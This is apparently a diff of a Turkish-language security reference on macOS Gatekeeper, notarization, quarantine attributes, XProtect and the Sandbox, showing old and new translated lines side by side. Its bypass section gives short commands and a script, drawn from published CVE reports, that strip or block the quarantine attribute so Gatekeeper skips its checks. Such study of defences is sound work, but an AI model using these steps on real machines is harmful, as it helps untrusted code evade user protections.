1. **Uygulamayı İmzalama:** Bir geliştirici uygulamasını dağıtmaya hazır olduğunda, **uygulamayı özel bir anahtar kullanarak imzalar**. Bu özel anahtar, geliştirici Apple Geliştirici Programı'na kaydolduğunda Apple tarafından kendisine verilen bir **sertifika ile ilişkilidir**. İmzalama süreci, uygulamanın tüm parçalarının kriptografik bir hash'ini oluşturmayı ve bu hash'i geliştiricinin özel anahtarıyla şifrelemeyi içerir.
|
||||
2. **Uygulamayı Dağıtma:** İmzalanmış uygulama, geliştiricinin sertifikasıyla birlikte kullanıcılara dağıtılır; bu sertifika, ilgili genel anahtarı içerir.
|
||||
1. **Uygulamayı İmzalama:** Bir geliştirici uygulamasını dağıtmaya hazır olduğunda, **uygulamayı özel bir anahtar kullanarak imzalar**. Bu özel anahtar, geliştirici Apple Geliştirici Programı'na kaydolduğunda Apple tarafından kendisine verilen bir **sertifika ile ilişkilidir**. İmzalama süreci, uygulamanın tüm parçalarının kriptografik bir hash'ini oluşturmayı ve bu hash'i geliştiricinin özel anahtarı ile şifrelemeyi içerir.
|
||||
2. **Uygulamayı Dağıtma:** İmzalanmış uygulama, geliştiricinin sertifikası ile birlikte kullanıcılara dağıtılır; bu sertifika, ilgili genel anahtarı içerir.
|
||||
3. **Uygulamayı Doğrulama:** Bir kullanıcı uygulamayı indirip çalıştırmaya çalıştığında, Mac işletim sistemi geliştiricinin sertifikasından genel anahtarı kullanarak hash'i çözer. Ardından, uygulamanın mevcut durumu temelinde hash'i yeniden hesaplar ve bu değeri çözülen hash ile karşılaştırır. Eğer eşleşiyorsa, bu, **uygulamanın geliştirici tarafından imzalandığı tarihten bu yana değiştirilmediği** anlamına gelir ve sistem uygulamanın çalışmasına izin verir.
|
||||
|
||||
Uygulama imzaları, Apple'ın Gatekeeper teknolojisinin temel bir parçasıdır. Bir kullanıcı **internetten indirilen bir uygulamayı açmaya çalıştığında**, Gatekeeper uygulama imzasını doğrular. Eğer imza, Apple tarafından tanınan bir geliştiriciye verilen bir sertifika ile imzalanmışsa ve kod değiştirilmemişse, Gatekeeper uygulamanın çalışmasına izin verir. Aksi takdirde, uygulamayı engeller ve kullanıcıyı uyarır.
|
||||
Uygulama imzaları, Apple'ın Gatekeeper teknolojisinin temel bir parçasıdır. Bir kullanıcı **internetten indirilen bir uygulamayı açmaya çalıştığında**, Gatekeeper uygulama imzasını doğrular. Eğer imza, Apple tarafından tanınmış bir geliştiriciye verilen bir sertifika ile imzalanmışsa ve kod değiştirilmemişse, Gatekeeper uygulamanın çalışmasına izin verir. Aksi takdirde, uygulamayı engeller ve kullanıcıyı uyarır.
|
||||
|
||||
macOS Catalina'dan itibaren, **Gatekeeper ayrıca uygulamanın Apple tarafından noter onaylı olup olmadığını da kontrol eder**, bu da ek bir güvenlik katmanı ekler. Noter onay süreci, uygulamayı bilinen güvenlik sorunları ve kötü amaçlı kod için kontrol eder ve bu kontroller geçerse, Apple uygulamaya Gatekeeper'ın doğrulayabileceği bir bilet ekler.
|
||||
|
||||
#### İmzaları Kontrol Etme
|
||||
#### İmzaları Kontrol Et
|
||||
|
||||
Bazı **kötü amaçlı yazılım örneklerini** kontrol ederken, her zaman **ikili dosyanın imzasını kontrol etmelisiniz** çünkü imzayı atan **geliştirici** zaten **kötü amaçlı yazılımla ilişkili** olabilir.
|
||||
```bash
|
||||
@ -47,13 +43,13 @@ spctl --assess --verbose /Applications/Safari.app
|
||||
# Sign a binary
|
||||
codesign -s <cert-name-keychain> toolsdemo
|
||||
```
|
||||
### Notarization
|
||||
### Notarizasyon
|
||||
|
||||
Apple'ın notarizasyon süreci, kullanıcıları potansiyel olarak zararlı yazılımlardan korumak için ek bir güvenlik önlemi olarak hizmet eder. Bu süreç, **geliştiricinin uygulamasını** **Apple'ın Noter Servisi** tarafından incelenmek üzere göndermesini içerir; bu, App Review ile karıştırılmamalıdır. Bu hizmet, gönderilen yazılımı **kötü niyetli içerik** ve kod imzalama ile ilgili olası sorunlar açısından inceleyen **otomatik bir sistemdir**.
|
||||
|
||||
Eğer yazılım, herhangi bir endişe yaratmadan bu incelemeyi **geçerse**, Noter Servisi bir notarizasyon belgesi oluşturur. Geliştiricinin, bu belgeyi yazılımlarına **eklemesi** gerekmektedir; bu işleme 'stapling' denir. Ayrıca, notarizasyon belgesi çevrimiçi olarak da yayınlanır ve Gatekeeper, Apple'ın güvenlik teknolojisi, buna erişebilir.
|
||||
|
||||
Kullanıcının yazılımı ilk yüklemesi veya çalıştırması sırasında, notarizasyon belgesinin varlığı - ister çalıştırılabilir dosyaya eklenmiş olsun, ister çevrimiçi bulunsun - **Gatekeeper'a yazılımın Apple tarafından notarize edildiğini bildirir**. Sonuç olarak, Gatekeeper, yazılımın Apple tarafından kötü niyetli içerik açısından kontrol edildiğini belirten açıklayıcı bir mesajı ilk başlatma iletişim kutusunda gösterir. Bu süreç, kullanıcıların sistemlerine yükledikleri veya çalıştırdıkları yazılımların güvenliğine olan güvenini artırır.
|
||||
Kullanıcının yazılımı ilk kurulumunda veya çalıştırmasında, notarizasyon belgesinin varlığı - ister çalıştırılabilir dosyaya eklenmiş olsun, ister çevrimiçi bulunsun - **Gatekeeper'a yazılımın Apple tarafından notarize edildiğini bildirir**. Sonuç olarak, Gatekeeper, yazılımın Apple tarafından kötü niyetli içerik açısından kontrol edildiğini belirten açıklayıcı bir mesajı ilk başlatma iletişim kutusunda gösterir. Bu süreç, kullanıcıların sistemlerine yükledikleri veya çalıştırdıkları yazılımların güvenliğine olan güvenini artırır.
|
||||
|
||||
### spctl & syspolicyd
|
||||
|
||||
@ -90,7 +86,7 @@ anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists an
|
||||
```
|
||||
**`syspolicyd`** ayrıca `assess`, `update`, `record` ve `cancel` gibi farklı işlemlerle bir XPC sunucusu sunar; bunlara **`Security.framework`'ün `SecAssessment*`** API'leri aracılığıyla da erişilebilir ve **`xpctl`** aslında **`syspolicyd`** ile XPC üzerinden iletişim kurar.
|
||||
|
||||
İlk kuralın "**App Store**" ile, ikinci kuralın ise "**Developer ID**" ile bittiğine ve önceki görüntüde **App Store ve tanımlı geliştiricilerden uygulama çalıştırma** izninin **etkin** olduğuna dikkat edin.\
|
||||
İlk kuralın "**App Store**" ile ve ikinci kuralın "**Developer ID**" ile bittiğine ve önceki görüntüde **App Store ve tanımlı geliştiricilerden uygulama çalıştırma** izninin **etkin** olduğuna dikkat edin.\
|
||||
Eğer bu ayarı App Store olarak **değiştirirseniz**, "**Notarized Developer ID" kuralları kaybolacaktır**.
|
||||
|
||||
Ayrıca **tip GKE** olan binlerce kural da bulunmaktadır:
|
||||
@ -126,7 +122,7 @@ Tamamen etkinleştirildiğinde, yeni bir seçenek görünecektir:
|
||||
|
||||
<figure><img src="../../../images/image (1151).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**GateKeeper tarafından bir Uygulamaya izin verilip verilmeyeceğini kontrol etmek mümkündür**:
|
||||
**GateKeeper tarafından bir Uygulamanın izin verilip verilmeyeceğini kontrol etmek mümkündür**:
|
||||
```bash
|
||||
spctl --assess -v /Applications/App.app
|
||||
```
|
||||
@ -149,20 +145,20 @@ spctl --assess -v /Applications/App.app
|
||||
|
||||
### Karantina Dosyaları
|
||||
|
||||
Bir uygulama veya dosya **indirildiğinde**, web tarayıcıları veya e-posta istemcileri gibi belirli macOS **uygulamaları**, indirilen dosyaya genellikle "**karantina bayrağı**" olarak bilinen bir **genişletilmiş dosya niteliği** ekler. Bu nitelik, dosyayı güvenilmeyen bir kaynaktan (internet) geldiği ve potansiyel riskler taşıdığı için **işaretleme** amacıyla bir güvenlik önlemi olarak işlev görür. Ancak, tüm uygulamalar bu niteliği eklemez; örneğin, yaygın BitTorrent istemci yazılımları genellikle bu süreci atlar.
|
||||
Bir uygulama veya dosya **indirildiğinde**, web tarayıcıları veya e-posta istemcileri gibi belirli macOS **uygulamaları**, indirilen dosyaya genellikle "**karantina bayrağı**" olarak bilinen bir **uzatılmış dosya niteliği** ekler. Bu nitelik, dosyanın güvenilmeyen bir kaynaktan (internet) geldiğini ve potansiyel olarak risk taşıdığını **belirlemek** için bir güvenlik önlemi olarak işlev görür. Ancak, tüm uygulamalar bu niteliği eklemez; örneğin, yaygın BitTorrent istemci yazılımları genellikle bu süreci atlar.
|
||||
|
||||
**Karantina bayrağının varlığı, bir kullanıcının dosyayı çalıştırmaya çalıştığında macOS'un Gatekeeper güvenlik özelliğini işaret eder.**
|
||||
**Karantina bayrağının varlığı, bir kullanıcının dosyayı çalıştırmaya çalıştığında macOS'un Gatekeeper güvenlik özelliğini işaret eder**.
|
||||
|
||||
**Karantina bayrağı mevcut değilse** (bazı BitTorrent istemcileri aracılığıyla indirilen dosyalar gibi), Gatekeeper'ın **kontrolleri yapılmayabilir**. Bu nedenle, kullanıcıların daha az güvenli veya bilinmeyen kaynaklardan indirilen dosyaları açarken dikkatli olmaları gerekir.
|
||||
|
||||
> [!NOTE] > **Kod imzalarının** **geçerliliğini kontrol etmek**, kodun ve tüm paketlenmiş kaynaklarının kriptografik **hash'lerini** oluşturmayı içeren **kaynak yoğun** bir süreçtir. Ayrıca, sertifika geçerliliğini kontrol etmek, verilmesinden sonra iptal edilip edilmediğini görmek için Apple'ın sunucularında **çevrimiçi kontrol** yapmayı gerektirir. Bu nedenlerle, her uygulama başlatıldığında tam bir kod imzası ve notlandırma kontrolü **pratik değildir**.
|
||||
> [!NOTE] > **Kod imzalarının** **geçerliliğini kontrol etmek**, kodun ve tüm paketlenmiş kaynaklarının kriptografik **hash'lerini** oluşturmayı içeren **kaynak yoğun** bir süreçtir. Ayrıca, sertifika geçerliliğini kontrol etmek, verildiği tarihten sonra iptal edilip edilmediğini görmek için Apple'ın sunucularında **çevrimiçi kontrol** yapmayı gerektirir. Bu nedenlerden dolayı, tam bir kod imzası ve notarlık kontrolü, **her uygulama başlatıldığında çalıştırmak pratik değildir**.
|
||||
>
|
||||
> Bu nedenle, bu kontroller **yalnızca karantina niteliğine sahip uygulamalar çalıştırıldığında yapılır.**
|
||||
|
||||
> [!WARNING]
|
||||
> Bu nitelik, dosyayı oluşturan/indiren **uygulama tarafından ayarlanmalıdır.**
|
||||
> Bu nitelik, dosyayı oluşturan/indiren **uygulama tarafından ayarlanmalıdır**.
|
||||
>
|
||||
> Ancak, sandbox'lanmış dosyalar, oluşturdukları her dosya için bu niteliği alacaktır. Sandbox'lanmamış uygulamalar ise bunu kendileri ayarlayabilir veya sistemin oluşturulan dosyalara `com.apple.quarantine` genişletilmiş niteliğini ayarlamasını sağlayacak **Info.plist** dosyasında [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) anahtarını belirtebilirler.
|
||||
> Ancak, sandbox'lanmış dosyalar, oluşturdukları her dosya için bu niteliği alacaktır. Sandbox'lanmamış uygulamalar ise bunu kendileri ayarlayabilir veya sistemin oluşturulan dosyalara `com.apple.quarantine` uzatılmış niteliğini ayarlamasını sağlayacak **Info.plist** dosyasında [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) anahtarını belirtebilirler.
|
||||
|
||||
Ayrıca, **`qtn_proc_apply_to_self`** çağrısı yapan bir süreç tarafından oluşturulan tüm dosyalar karantinaya alınır. Veya API **`qtn_file_apply_to_path`**, belirtilen dosya yoluna karantina niteliğini ekler.
|
||||
|
||||
@ -181,7 +177,7 @@ xattr file.png
|
||||
com.apple.macl
|
||||
com.apple.quarantine
|
||||
```
|
||||
**uzatılmış** **özellikler**in **değerini** kontrol edin ve karantina özelliğini yazan uygulamayı bulun:
|
||||
**Genişletilmiş** **niteliklerin** **değerini** kontrol edin ve karantina niteliğini yazan uygulamayı bulun:
|
||||
```bash
|
||||
xattr -l portada.png
|
||||
com.apple.macl:
|
||||
@ -273,17 +269,17 @@ Ve tüm karantinaya alınmış dosyaları bulmak için:
|
||||
```bash
|
||||
find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine"
|
||||
```
|
||||
Karantina bilgileri, dosya kökenleri hakkında veri elde etmek için GUI'nin erişim sağladığı **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`** tarafından yönetilen merkezi bir veritabanında da saklanır. Ayrıca, kökenlerini gizlemekle ilgilenen uygulamalar tarafından üzerine yazılabilir. Bu, LaunchServices API'leri aracılığıyla da yapılabilir.
|
||||
Karantina bilgileri, dosya kökenleri hakkında veri elde etmek için GUI'nin erişim sağladığı **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`** dosyasında LaunchServices tarafından yönetilen merkezi bir veritabanında da saklanır. Ayrıca, kökenlerini gizlemekle ilgilenen uygulamalar tarafından üzerine yazılabilir. Bu, LaunchServices API'leri aracılığıyla da yapılabilir.
|
||||
|
||||
#### **libquarantine.dylb**
|
||||
|
||||
Bu kütüphane, genişletilmiş nitelik alanlarını manipüle etmeye olanak tanıyan birkaç işlevi dışa aktarır.
|
||||
|
||||
`qtn_file_*` API'leri dosya karantina politikalarıyla, `qtn_proc_*` API'leri ise süreçlere (süreç tarafından oluşturulan dosyalar) uygulanır. Dışa aktarılmamış `__qtn_syscall_quarantine*` işlevleri, `mac_syscall`'ı "Karantina" ilk argüman olarak çağıran ve istekleri `Quarantine.kext`'e gönderen politikaları uygulayanlardır.
|
||||
`qtn_file_*` API'leri dosya karantina politikalarıyla, `qtn_proc_*` API'leri ise süreçlere (süreç tarafından oluşturulan dosyalar) uygulanır. Dışa aktarılmamış `__qtn_syscall_quarantine*` işlevleri, `mac_syscall`'ı "Karantina" ilk argüman olarak çağıran ve istekleri `Quarantine.kext`'e gönderen politikaları uygulayan işlevlerdir.
|
||||
|
||||
#### **Quarantine.kext**
|
||||
|
||||
Çekirdek uzantısı yalnızca **sistemdeki çekirdek önbelleği** aracılığıyla mevcuttur; ancak, **Kernel Debug Kit'i** [**https://developer.apple.com/**](https://developer.apple.com/) adresinden indirebilirsiniz, bu da uzantının sembolik bir versiyonunu içerecektir.
|
||||
Çekirdek uzantısı yalnızca **sistemdeki çekirdek önbelleği** aracılığıyla mevcuttur; ancak, **Kernel Debug Kit'i** [**https://developer.apple.com/**](https://developer.apple.com/) adresinden indirebilirsiniz, bu da uzantının sembolik versiyonunu içerecektir.
|
||||
|
||||
Bu Kext, dosya yaşam döngüsü olaylarını yakalamak için MACF aracılığıyla birkaç çağrıyı bağlayacaktır: Oluşturma, açma, yeniden adlandırma, sert bağlantı oluşturma... hatta `setxattr`'ı `com.apple.quarantine` genişletilmiş niteliğini ayarlamasını önlemek için kullanır.
|
||||
|
||||
@ -304,7 +300,7 @@ En son XProtect güncellemesi hakkında bilgi alabilirsiniz:
|
||||
```bash
|
||||
system_profiler SPInstallHistoryDataType 2>/dev/null | grep -A 4 "XProtectPlistConfigData" | tail -n 5
|
||||
```
|
||||
XProtect, **/Library/Apple/System/Library/CoreServices/XProtect.bundle** konumunda bulunan SIP korumalı bir alandadır ve bundle içinde XProtect'in kullandığı bilgileri bulabilirsiniz:
|
||||
XProtect, **/Library/Apple/System/Library/CoreServices/XProtect.bundle** konumunda SIP korumalı bir alanda bulunmaktadır ve bundle içinde XProtect'in kullandığı bilgileri bulabilirsiniz:
|
||||
|
||||
- **`XProtect.bundle/Contents/Resources/LegacyEntitlementAllowlist.plist`**: Bu cdhashes ile kodların eski yetkilendirmeleri kullanmasına izin verir.
|
||||
- **`XProtect.bundle/Contents/Resources/XProtect.meta.plist`**: BundleID ve TeamID aracılığıyla yüklenmesine izin verilmeyen eklentilerin ve uzantıların listesi veya minimum sürümü belirtir.
|
||||
@ -316,11 +312,11 @@ XProtect, **/Library/Apple/System/Library/CoreServices/XProtect.bundle** konumun
|
||||
### Not Gatekeeper
|
||||
|
||||
> [!CAUTION]
|
||||
> Gatekeeper'in **her seferinde** bir uygulama çalıştırdığınızda **çalıştırılmadığını** unutmayın, sadece _**AppleMobileFileIntegrity**_ (AMFI) yalnızca Gatekeeper tarafından daha önce çalıştırılmış ve doğrulanmış bir uygulama çalıştırdığınızda **yürütülebilir kod imzalarını** **doğrular.**
|
||||
> Gatekeeper'in **her seferinde** bir uygulama çalıştırdığınızda **çalıştırılmadığını** unutmayın, sadece _**AppleMobileFileIntegrity**_ (AMFI) **çalıştırılabilir kod imzalarını** yalnızca daha önce Gatekeeper tarafından çalıştırılmış ve doğrulanmış bir uygulamayı çalıştırdığınızda **doğrular.**
|
||||
|
||||
Bu nedenle, daha önce bir uygulamayı çalıştırarak Gatekeeper ile önbelleğe almak mümkündü, ardından **uygulamanın yürütülebilir olmayan dosyalarını değiştirmek** (Electron asar veya NIB dosyaları gibi) ve başka korumalar yoksa, uygulama **kötü amaçlı** eklemelerle **çalıştırılırdı.**
|
||||
Bu nedenle, daha önce bir uygulamayı çalıştırarak Gatekeeper ile önbelleğe almak mümkündü, ardından **uygulamanın çalıştırılamayan dosyalarını değiştirmek** (Electron asar veya NIB dosyaları gibi) ve başka korumalar yoksa, uygulama **kötü amaçlı** eklemelerle **çalıştırılırdı.**
|
||||
|
||||
Ancak, şimdi bu mümkün değil çünkü macOS **uygulama paketleri içindeki dosyaların değiştirilmesini** engelliyor. Yani, [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) saldırısını denerseniz, Gatekeeper ile önbelleğe almak için uygulamayı çalıştırdıktan sonra paketi değiştiremeyeceğinizi göreceksiniz. Örneğin, İçerikler dizisinin adını NotCon olarak değiştirirseniz (saldırıda belirtildiği gibi) ve ardından uygulamanın ana ikili dosyasını Gatekeeper ile önbelleğe almak için çalıştırırsanız, bir hata tetiklenecek ve çalıştırılmayacaktır.
|
||||
Ancak, şimdi bu mümkün değil çünkü macOS **uygulama bundle'ları içindeki dosyaların değiştirilmesini** engelliyor. Yani, [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) saldırısını denerseniz, Gatekeeper ile önbelleğe almak için uygulamayı çalıştırdıktan sonra bundle'ı değiştiremeyeceğinizi göreceksiniz. Örneğin, İçerikler dizisinin adını NotCon olarak değiştirirseniz (saldırıda belirtildiği gibi) ve ardından uygulamanın ana ikili dosyasını Gatekeeper ile önbelleğe almak için çalıştırırsanız, bir hata tetiklenecek ve çalıştırılmayacaktır.
|
||||
|
||||
## Gatekeeper Atlatmaları
|
||||
|
||||
@ -334,9 +330,9 @@ Daha fazla bilgi için [**orijinal raporu**](https://labs.withsecure.com/publica
|
||||
|
||||
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
|
||||
|
||||
Bir uygulama **Automator** ile oluşturulduğunda, çalıştırmak için gereken bilgiler `application.app/Contents/document.wflow` içinde bulunur, yürütülebilir dosyada değil. Yürütülebilir dosya, **Automator Uygulama Stub** adı verilen genel bir Automator ikili dosyasıdır.
|
||||
Bir uygulama **Automator** ile oluşturulduğunda, çalıştırmak için gereken bilgiler `application.app/Contents/document.wflow` içinde bulunur, çalıştırılabilir dosyada değil. Çalıştırılabilir dosya, **Automator Application Stub** adı verilen genel bir Automator ikili dosyasıdır.
|
||||
|
||||
Bu nedenle, `application.app/Contents/MacOS/Automator\ Application\ Stub` **sistem içindeki başka bir Automator Uygulama Stub'a sembolik bir bağlantı ile işaret edebilir** ve `document.wflow` (sizin scriptiniz) içindekileri **Gatekeeper'ı tetiklemeksizin çalıştırır** çünkü gerçek yürütülebilir dosya, karantina xattr'ye sahip değildir.
|
||||
Bu nedenle, `application.app/Contents/MacOS/Automator\ Application\ Stub` **sistem içindeki başka bir Automator Application Stub'a sembolik bir bağlantı ile işaret edebilir** ve `document.wflow` (sizin script'iniz) içindekileri **Gatekeeper'ı tetiklemeksizin çalıştırır** çünkü gerçek çalıştırılabilir dosya karantina xattr'ına sahip değildir.
|
||||
|
||||
Beklenen konum örneği: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
|
||||
|
||||
@ -344,7 +340,7 @@ Daha fazla bilgi için [**orijinal raporu**](https://ronmasas.com/posts/bypass-m
|
||||
|
||||
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
||||
|
||||
Bu atlatmada, `application.app/Contents`'den sıkıştırmaya başlayan bir uygulama ile bir zip dosyası oluşturuldu, `application.app` yerine. Bu nedenle, **karantina niteliği** tüm **`application.app/Contents`** dosyalarına uygulandı ancak **`application.app`**'ye uygulanmadı, bu da Gatekeeper'ın kontrol ettiği yerdi, bu nedenle Gatekeeper atlatıldı çünkü `application.app` tetiklendiğinde **karantina niteliğine sahip değildi.**
|
||||
Bu atlatmada, `application.app/Contents`'den sıkıştırmaya başlayan bir uygulama ile bir zip dosyası oluşturuldu, `application.app` yerine. Bu nedenle, **karantina niteliği** tüm **`application.app/Contents`** dosyalarına uygulandı ancak **`application.app`**'ye uygulanmadı, bu da Gatekeeper'ın kontrol ettiği yerdi, bu nedenle Gatekeeper, `application.app` tetiklendiğinde **karantina niteliğine sahip olmadığı için** atlatıldı.
|
||||
```bash
|
||||
zip -r test.app/Contents test.zip
|
||||
```
|
||||
@ -352,7 +348,7 @@ Check the [**original report**](https://www.jamf.com/blog/jamf-threat-labs-safar
|
||||
|
||||
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
|
||||
|
||||
Bileşenler farklı olsa da, bu güvenlik açığının istismarı öncekiyle çok benzer. Bu durumda, **`application.app/Contents`**'den bir Apple Arşivi oluşturacağız, böylece **`application.app`** **Archive Utility** tarafından açıldığında karantina özelliğini almayacak.
|
||||
Bileşenler farklı olsa da, bu güvenlik açığının istismarı öncekiyle çok benzer. Bu durumda, **`application.app/Contents`**'den bir Apple Archive oluşturacağız, böylece **`application.app`** **Archive Utility** tarafından açıldığında karantina özelliğini almayacak.
|
||||
```bash
|
||||
aa archive -d test.app/Contents -o test.app.aar
|
||||
```
|
||||
@ -360,7 +356,7 @@ Daha fazla bilgi için [**orijinal raporu**](https://www.jamf.com/blog/jamf-thre
|
||||
|
||||
### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
|
||||
|
||||
ACL **`writeextattr`** birinin bir dosyaya bir öznitelik yazmasını engellemek için kullanılabilir:
|
||||
ACL **`writeextattr`** bir dosyaya bir öznitelik yazılmasını engellemek için kullanılabilir:
|
||||
```bash
|
||||
touch /tmp/no-attr
|
||||
chmod +a "everyone deny writeextattr" /tmp/no-attr
|
||||
@ -418,7 +414,7 @@ ln -s ._app.dmg s/app/app.dmg
|
||||
echo "[+] compressing files"
|
||||
aa archive -d s/ -o app.aar
|
||||
```
|
||||
### uchg (bu [konuşmadan](https://codeblue.jp/2023/result/pdf/cb23-bypassing-macos-security-and-privacy-mechanisms-from-gatekeeper-to-system-integrity-protection-by-koh-nakagawa.pdf))
|
||||
### uchg (from this [talk](https://codeblue.jp/2023/result/pdf/cb23-bypassing-macos-security-and-privacy-mechanisms-from-gatekeeper-to-system-integrity-protection-by-koh-nakagawa.pdf))
|
||||
|
||||
- Bir uygulama içeren bir dizin oluşturun.
|
||||
- Uygulamaya uchg ekleyin.
|
||||
@ -429,10 +425,6 @@ aa archive -d s/ -o app.aar
|
||||
|
||||
### Quarantine xattr'ı Önleme
|
||||
|
||||
Bir ".app" paketinde eğer karantina xattr eklenmemişse, çalıştırıldığında **Gatekeeper tetiklenmeyecek**.
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
Bir ".app" paketinde, karantina xattr eklenmemişse, çalıştırıldığında **Gatekeeper tetiklenmeyecek**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -8,7 +8,7 @@ MacOS Sandbox (ilk olarak Seatbelt olarak adlandırılmıştır) **sandbox için
|
||||
|
||||
**`com.apple.security.app-sandbox`** **yetkisine** sahip herhangi bir uygulama sandbox içinde çalıştırılacaktır. **Apple ikili dosyaları** genellikle bir Sandbox içinde çalıştırılır ve **App Store'dan gelen tüm uygulamalar bu yetkiye sahiptir**. Bu nedenle, birçok uygulama sandbox içinde çalıştırılacaktır.
|
||||
|
||||
Bir sürecin ne yapabileceğini veya ne yapamayacağını kontrol etmek için **Sandbox,** bir sürecin denemesi olabilecek hemen hemen her operasyonda (çoğu syscalls dahil) **MACF** kullanarak **kancalara** sahiptir. Ancak, uygulamanın **yetkilerine** bağlı olarak Sandbox, süreçle daha hoşgörülü olabilir.
|
||||
Bir sürecin ne yapabileceğini veya ne yapamayacağını kontrol etmek için **Sandbox,** bir sürecin denemesi olası olan hemen hemen her işlemde (çoğu syscalls dahil) **MACF** kullanarak **kancalara** sahiptir. Ancak, uygulamanın **yetkilerine** bağlı olarak Sandbox, süreçle daha hoşgörülü olabilir.
|
||||
|
||||
Sandbox'ın bazı önemli bileşenleri şunlardır:
|
||||
|
||||
@ -19,7 +19,7 @@ Sandbox'ın bazı önemli bileşenleri şunlardır:
|
||||
|
||||
### Kapsayıcılar
|
||||
|
||||
Her sandbox'lanmış uygulama, `~/Library/Containers/{CFBundleIdentifier}` içinde kendi kapsayıcısına sahip olacaktır:
|
||||
Her sandboxed uygulamanın `~/Library/Containers/{CFBundleIdentifier}` içinde kendi kapsayıcısı olacaktır:
|
||||
```bash
|
||||
ls -l ~/Library/Containers
|
||||
total 0
|
||||
@ -131,9 +131,9 @@ Burada bir örnek bulabilirsiniz:
|
||||
)
|
||||
```
|
||||
> [!TIP]
|
||||
> Daha fazla izin verilen veya reddedilen eylemi kontrol etmek için bu [**araştırmayı**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **kontrol edin.**
|
||||
> Daha fazla izin verilebilecek veya reddedilebilecek eylemleri kontrol etmek için bu [**araştırmaya**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **bakın.**
|
||||
>
|
||||
> Bir profilin derlenmiş versiyonunda, işlemlerin adları, derlenmiş versiyonu daha kısa ve okunması daha zor hale getiren dylib ve kext tarafından bilinen bir dizideki girişleriyle değiştirilir.
|
||||
> Bir profilin derlenmiş versiyonunda, işlemlerin adları, dylib ve kext tarafından bilinen bir dizideki girişleriyle değiştirilir, bu da derlenmiş versiyonu daha kısa ve okunması daha zor hale getirir.
|
||||
|
||||
Önemli **sistem hizmetleri** ayrıca `mdnsresponder` hizmeti gibi kendi özel **sandbox**'larında çalışır. Bu özel **sandbox profillerini** şu konumda görüntüleyebilirsiniz:
|
||||
|
||||
@ -143,7 +143,9 @@ Burada bir örnek bulabilirsiniz:
|
||||
|
||||
**App Store** uygulamaları **`/System/Library/Sandbox/Profiles/application.sb`** **profilini** kullanır. Bu profilde **`com.apple.security.network.server`** gibi yetkilendirmelerin bir sürecin ağı kullanmasına nasıl izin verdiğini kontrol edebilirsiniz.
|
||||
|
||||
SIP, /System/Library/Sandbox/rootless.conf içinde platform_profile olarak adlandırılan bir Sandbox profilidir.
|
||||
Daha sonra, bazı **Apple daemon hizmetleri** `/System/Library/Sandbox/Profiles/*.sb` veya `/usr/share/sandbox/*.sb` konumunda bulunan farklı profilleri kullanır. Bu sandbox'lar, `sandbox_init_XXX` API'sini çağıran ana işlevde uygulanır.
|
||||
|
||||
**SIP**, `/System/Library/Sandbox/rootless.conf` içinde platform_profile olarak adlandırılan bir Sandbox profilidir.
|
||||
|
||||
### Sandbox Profil Örnekleri
|
||||
|
||||
@ -198,7 +200,7 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
|
||||
{{#endtabs}}
|
||||
|
||||
> [!NOTE]
|
||||
> **Apple tarafından yazılmış** **yazılım** **Windows** üzerinde **ek güvenlik önlemlerine** sahip **değildir**, örneğin uygulama sandboxing.
|
||||
> **Apple tarafından yazılmış** **yazılımın** **Windows** üzerinde **ek güvenlik önlemleri** bulunmadığını, örneğin uygulama sandboxing olmadığını unutmayın.
|
||||
|
||||
Atlatma örnekleri:
|
||||
|
||||
@ -209,7 +211,7 @@ Atlatma örnekleri:
|
||||
|
||||
#### Profil aracılığıyla
|
||||
|
||||
Her eylem kontrol edildiğinde sandbox'ın gerçekleştirdiği tüm kontrolleri izlemek mümkündür. Bunun için aşağıdaki profili oluşturun:
|
||||
Her seferinde bir eylem kontrol edildiğinde sandbox'ın gerçekleştirdiği tüm kontrolleri izlemek mümkündür. Bunun için sadece aşağıdaki profili oluşturun:
|
||||
```scheme:trace.sb
|
||||
(version 1)
|
||||
(trace /tmp/trace.out)
|
||||
@ -224,8 +226,8 @@ Ayrıca, sandbox'ı **`-t`** parametresi ile izlemek de mümkündür: `sandbox-e
|
||||
|
||||
#### API Üzerinden
|
||||
|
||||
`libsystem_sandbox.dylib` tarafından dışa aktarılan `sandbox_set_trace_path` fonksiyonu, sandbox kontrollerinin yazılacağı bir iz dosyası adı belirtmeye olanak tanır.\
|
||||
Ayrıca, `sandbox_vtrace_enable()` çağrısı yaparak benzer bir şey yapmak ve ardından `sandbox_vtrace_report()` çağrısı ile hata günlüklerini almak da mümkündür.
|
||||
`libsystem_sandbox.dylib` tarafından dışa aktarılan `sandbox_set_trace_path` fonksiyonu, sandbox kontrollerinin yazılacağı bir izleme dosya adı belirtmeye olanak tanır.\
|
||||
Ayrıca, `sandbox_vtrace_enable()` çağrılarak benzer bir şey yapmak ve ardından `sandbox_vtrace_report()` çağrısı ile hata günlüklerini almak da mümkündür.
|
||||
|
||||
### Sandbox İncelemesi
|
||||
|
||||
